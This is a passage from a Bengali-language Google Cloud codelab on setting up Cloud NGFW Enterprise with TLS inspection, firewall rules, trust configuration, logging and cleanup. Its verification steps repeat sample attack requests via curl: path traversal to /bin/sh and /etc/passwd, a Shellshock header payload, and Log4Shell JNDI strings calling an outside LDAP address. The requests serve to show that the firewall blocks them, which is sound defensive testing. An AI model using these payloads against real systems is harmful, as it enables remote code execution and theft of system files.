sudo mv key.pem /etc/ssl/private/

স্বাক্ষরিত সার্টিফিকেট ব্যবহার করার জন্য ssl কনফিগারেশন আপডেট করুন:

sudo sed -i 's/ssl-cert-snakeoil.pem/cert.pem/g' /etc/apache2/sites-available/default-ssl.conf 

sudo sed -i 's/ssl-cert-snakeoil.key/key.pem/g' /etc/apache2/sites-available/default-ssl.conf

অ্যাপাচি পুনরায় চালু করুন:

sudo systemctl restart apache2

অ্যাপাচি স্ট্যাটাস যাচাই করুন:

sudo systemctl status apache2

এটি সক্রিয় (চলমান) হওয়া উচিত।

VM থেকে বেরিয়ে আসুন এবং ক্লাউডশেলে চালিয়ে যান।

৮. উত্তরমুখী এবং পূর্ব/পশ্চিম সংযোগ যাচাই করুন

ক্লাউড শেলে নিচের কমান্ডগুলি চালান এবং ব্যবহার করার জন্য লক্ষ্য আইপিগুলি নোট করুন:

gcloud compute instances list --filter="name=($prefix-$zone-www)"

একটি নতুন ট্যাব খুলুন এবং IAP এর মাধ্যমে ক্লায়েন্ট VM-এর সাথে একটি SSH সংযোগ শুরু করুন (আপনাকে নতুন ট্যাবে ভেরিয়েবলগুলি সংজ্ঞায়িত করতে হবে):

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

নিচের কমান্ডগুলো চালান এবং ব্যবহার করার জন্য টার্গেট আইপিগুলো লিখে রাখুন। পূর্ববর্তী ধাপের উল্লেখিত আইপিগুলো দিয়ে বন্ধনীর মধ্যে থাকা মানগুলো প্রতিস্থাপন করে ভেরিয়েবল তৈরি করুন এবং নিশ্চিত করুন যে সেগুলো পৌঁছানো যাচ্ছে:

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

প্রাইভেট আইপি কার্ল করুন এবং নিশ্চিত করুন যে এটি পৌঁছানো যাচ্ছে:

curl https://$target_privateip --max-time 2

কার্ল অনুরোধের জন্য প্রত্যাশিত ফলাফল:

Page on ngfw-enterprise-$zone-www in network ngfw-enterprise-vpc zone $zone

IP-তে নমুনা আক্রমণ পাঠান। ওয়েব সার্ভারের সমস্ত অনুরোধের জবাব দেওয়া উচিত, নিশ্চিত করা উচিত যে কোনও L7 পরিদর্শন/প্রতিরোধ ব্যবস্থা নেই:

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2 
curl -w "%{http_code}\\n" -s -o /dev/null  -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2 

নমুনা প্রত্যাশিত ফলাফল (ব্যক্তিগত আইপি):

400
404
400
200
200

একইভাবে, একটি ইন্টারনেট গন্তব্যে অনুরোধ পাঠান:

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2 

প্রত্যাশিত ফলাফলের নমুনা (ইন্টারনেট গন্তব্য):

400
404
400
403
403

VM টার্মিনাল থেকে প্রস্থান করুন এবং ক্লাউড শেলে ফিরে যান।

৯. TLS পরিদর্শনের জন্য ফায়ারওয়াল নিয়ম তৈরি এবং আপডেট করুন

পূর্বে, আমরা অভ্যন্তরীণ সাবনেট থেকে আমাদের সার্ভারে প্রবেশ ট্র্যাফিকের অনুমতি দেওয়ার জন্য একটি ফায়ারওয়াল নিয়ম কনফিগার করেছি। আমরা এখন বিদ্যমান প্রবেশ নিয়মগুলি আপডেট করব এবং ক্রিয়াটি apply_security_profile_group এ সেট করব। এটি TLS সহ E/W L7 পরিদর্শন সক্ষম করবে:

gcloud compute network-firewall-policies rules update 800 \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
--tls-inspect

TLS ব্যবহার করে উত্তরমুখী L7 পরিদর্শন পরিদর্শনের জন্য একটি নতুন নিয়ম তৈরি করুন।

gcloud compute network-firewall-policies rules create 900 \
        --description "Inspect egress traffic over TCP 443" \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=0.0.0.0/0 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=/networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
      --tls-inspect

দ্বিগুণ পরিদর্শন রোধ করার জন্য E/W এর জন্য EGRESS কে অনুমতি দেওয়ার জন্য একটি নতুন নিয়ম তৈরি করুন।

gcloud compute network-firewall-policies rules create 850 \
        --description "Prevent double inspection" \
        --action=ALLOW \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=10.0.0.0/24 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client 

১০. উত্তরমুখী TLS পরিদর্শন যাচাইকরণ

ক্লায়েন্ট VM ট্যাবে ফিরে যান অথবা আবার সংযোগ করুন:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

নমুনা আক্রমণগুলি একটি ইন্টারনেট গন্তব্যে পাঠান:

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2

নীচের প্রত্যাশিত আউটপুট অনুসারে কোনও প্রতিক্রিয়া পাওয়া যায়নি, যা নিশ্চিত করে যে নমুনা আক্রমণগুলি এখন ব্লক করা হচ্ছে:

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

ভেরিয়েবলটিকে আগের সার্ভার আইপিতে সেট করুন:

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

সার্ভারে নমুনা TLS অনুরোধ পাঠান:

curl https://$target_privateip --max-time 2

প্রত্যাশিত আউটপুট:

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

এই অনুরোধটি কেন ব্যর্থ হল? এর কারণ হল ফায়ারওয়াল সার্ভার থেকে এমন একটি সার্টিফিকেট পাচ্ছে যার কোনও বিশ্বাসযোগ্যতা নেই। যদি এটি ঘটে, তাহলে এটি ক্লায়েন্টের কাছে একটি স্ব-স্বাক্ষরিত সার্টিফিকেট ফেরত পাঠাবে। বিশ্বাস সক্ষম করার জন্য আমাদের একটি ট্রাস্ট কনফিগারেশনের অংশ হিসাবে CA সার্টিফিকেট যোগ করতে হবে।

ক্লাউড শেল-এ ফেরত যান।

১১. ট্রাস্ট কনফিগারেশন কনফিগার করুন

রুট সিএ সার্টিফিকেটটি পান এবং সঠিক বিন্যাস সহ এটিকে একটি ভেরিয়েবল হিসেবে সেট করুন।

export NGFW_ROOT_CA=$(gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" | sed 's/^/      /')

ট্রাস্ট কনফিগ YAML ফাইলটি কনফিগার করুন। এই ফাইলটিতে CA সার্টিফিকেটের মতো ট্রাস্টের বিবরণ রয়েছে:

cat > trust_config.yaml << EOF
name: "$prefix-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
${NGFW_ROOT_CA}
EOF

উপরের কমান্ডগুলিতে ট্রাস্ট স্টোরের অংশ হিসেবে আপনার রুট সিএ সার্টিফিকেট অন্তর্ভুক্ত ছিল কারণ আপনার সার্ভার সার্টিফিকেটটি রুট সিএ ব্যবহার করে স্বাক্ষরিত হয়েছিল। এর অর্থ হল ফায়ারওয়াল আপনার রুট সিএ দ্বারা স্বাক্ষরিত যেকোনো সার্টিফিকেটকে বিশ্বাস করবে - যদি আপনার TLS নীতিতে PublicCaSet কে মিথ্যা হিসাবে exclude করা থাকে তবে পাবলিক সিএ ছাড়াও।

ট্রাস্ট কনফিগারেশনের বিষয়বস্তু পরীক্ষা করুন।

cat trust_config.yaml 

নমুনা আউটপুট:

সার্টিফিকেটের ইন্ডেন্টেশন অ্যালাইনমেন্টের দিকে বিশেষ মনোযোগ দিন। এটিকে অবশ্যই এই ফর্ম্যাটটি ঠিক অনুসরণ করতে হবে।

name: "ngfw-enterprise-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
     -----BEGIN CERTIFICATE-----
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRS
      -----END CERTIFICATE-----

ট্রাস্ট কনফিগারেশনটি আমদানি করুন:

gcloud certificate-manager trust-configs import $prefix-trust-config --project=$project_id --location=$region --source=trust_config.yaml

ট্রাস্ট কনফিগারেশন অন্তর্ভুক্ত করার জন্য TLS পলিসি YAML ফাইলটি আপডেট করুন:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
minTlsVersion: TLS_1_1
tlsFeatureProfile: PROFILE_COMPATIBLE
trustConfig: projects/$project_id/locations/$region/trustConfigs/$prefix-trust-config
EOF

আপডেট করা TLS নীতি আমদানি করুন:

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

১২. E/W TLS পরিদর্শন যাচাইকরণ

আপডেট করা ট্রাস্ট কনফিগারেশনের মাধ্যমে E/W ট্র্যাফিক পরীক্ষা করার জন্য SSH ক্লায়েন্টের কাছে ফিরে যাবে:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

সার্ভারে নমুনা TLS অনুরোধটি চালান:

curl https://$target_privateip --max-time 2

যদি আপনি এখনও নিচের আউটপুটটি পান, তাহলে আপডেটগুলি প্রচারিত হওয়ার জন্য অপেক্ষা করুন।

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

প্রত্যাশিত আউটপুট:

Page on ngfw-enterprise-us-west1-b-www in network ngfw-enterprise-vpc zone $zone

সার্ভারে ক্ষতিকারক পরীক্ষামূলক ট্র্যাফিক পাঠান:

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2

প্রত্যাশিত আউটপুট:

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

নীচের প্রত্যাশিত আউটপুট অনুসারে কোনও প্রতিক্রিয়া পাওয়া যায়নি, যা নিশ্চিত করে যে নমুনা আক্রমণগুলি এখন পূর্ব/পশ্চিমের জন্য ব্লক করা হচ্ছে।

১৩. লগিং

ক্লাউড কনসোলের মাধ্যমে লগিং > লগস এক্সপ্লোরারে নেভিগেট করুন, নীচের ফিল্টারটি প্রবেশ করান এবং লগগুলি অনুসন্ধান করুন। [PROJECT_ID] কে আপনার project_id দিয়ে প্রতিস্থাপন করুন:

logName="projects/[PROJECT_ID]/logs/networksecurity.googleapis.com%2Ffirewall_threat"

ক্লাউড NGFW এন্টারপ্রাইজ লগ এন্ট্রিগুলি নীচের মতো একইভাবে দেখা উচিত:

5b68cc1063c0f4bd.png সম্পর্কে

লগ এন্ট্রিগুলি প্রসারিত করুন এবং লক্ষ্য করুন যে ক্লায়েন্ট ভিএম থেকে সার্ভারে প্রেরিত আক্রমণগুলি সনাক্ত এবং ব্লক করা হয়েছে (নীচের স্ক্রিনশট অনুসারে অ্যাপাচি লগ৪জে রিমোট কোড এক্সিকিউশন দুর্বলতা )।

478f18f8481e90ed.png সম্পর্কে

আপনি ক্ষতিকারক অনুরোধগুলি ব্লক করতে TLS পরিদর্শন সহ ক্লাউড NGFW এন্টারপ্রাইজ সফলভাবে স্থাপন করেছেন।

পরিষ্কারের ধাপগুলির জন্য পরবর্তী বিভাগে যান।

১৪. পরিষ্কার-পরিচ্ছন্নতার ধাপ

বেস সেটআপ পরিষ্কার-পরিচ্ছন্নতা

দৃষ্টান্তগুলি সরান:

gcloud -q compute instances delete $prefix-$zone-www --zone=$zone

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

যদি tagAdmin এবং tagUsers এর ভূমিকা পরিবর্তন করা হয়, তাহলে নিচের ধাপগুলি অনুসরণ করুন:

export user_id=$(gcloud auth list --format="value(account)")

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagUser

ট্যাগ কী এবং মানগুলি সরান:

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags

ক্লাউড ফায়ারওয়াল নেটওয়ার্ক নীতি এবং অ্যাসোসিয়েশন সরান:

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

ক্লাউড রাউটার এবং ক্লাউড NAT মুছে ফেলুন:

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

সংরক্ষিত আইপি ঠিকানাগুলি মুছুন:

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

ক্লাউড ফায়ারওয়াল SPG, অ্যাসোসিয়েশন, এবং TLS ক্লিন-আপ

এই ক্রমে সিকিউরিটি প্রোফাইল গ্রুপ এবং থ্রেট প্রোফাইল মুছে ফেলুন:

gcloud -q network-security security-profile-groups delete \
  $prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $prefix-sp-threat \
  --organization $org_id \
  --location=global

ক্লাউড ফায়ারওয়াল এন্ডপয়েন্ট অ্যাসোসিয়েশন মুছে ফেলুন:

gcloud -q network-security firewall-endpoint-associations delete \
  $prefix-association --zone $zone

ক্লাউড ফায়ারওয়াল এন্ডপয়েন্টটি মুছুন, যা প্রায় ২০ মিনিট সময় নিতে পারে:

gcloud -q network-security firewall-endpoints delete $prefix-$zone --zone=$zone --organization $org_id

ঐচ্ছিকভাবে, নীচের কমান্ডটি চালিয়ে নিশ্চিত করুন যে ক্লাউড NGFW এন্ডপয়েন্টটি মুছে ফেলা হয়েছে:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

শেষবিন্দুর অবস্থাটি দেখানো উচিত:

STATE: DELETING

সম্পূর্ণ হলে, শেষবিন্দুটি আর তালিকাভুক্ত থাকবে না।

এই ক্রমে TLS নীতি এবং ট্রাস্ট কনফিগারেশন মুছুন:

gcloud -q network-security tls-inspection-policies delete \
  $prefix-tls-policy \
  --location=$region

gcloud -q alpha certificate-manager trust-configs delete \
  $prefix-trust-config \
  --location=$region

রুট সিএ এবং সিএ পুল অক্ষম করুন এবং মুছুন:

gcloud -q privateca roots disable $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --ignore-dependent-resources 

gcloud -q privateca roots delete $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --skip-grace-period \
  --ignore-active-certificates \
  --ignore-dependent-resources

gcloud -q privateca pools delete $prefix-CA-Pool \
  --location=$region \
  --ignore-dependent-resources

সাবনেট এবং ভিপিসি পরিষ্কার-পরিচ্ছন্নতা

অবশেষে, সাবনেট এবং ভিপিসি নেটওয়ার্ক মুছে ফেলুন:

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

১৫. অভিনন্দন!

অভিনন্দন, আপনি পূর্ব-পশ্চিম এবং উত্তরমুখী TLS পরিদর্শন কোডল্যাবের জন্য ক্লাউড NGFW এন্টারপ্রাইজ সফলভাবে সম্পন্ন করেছেন।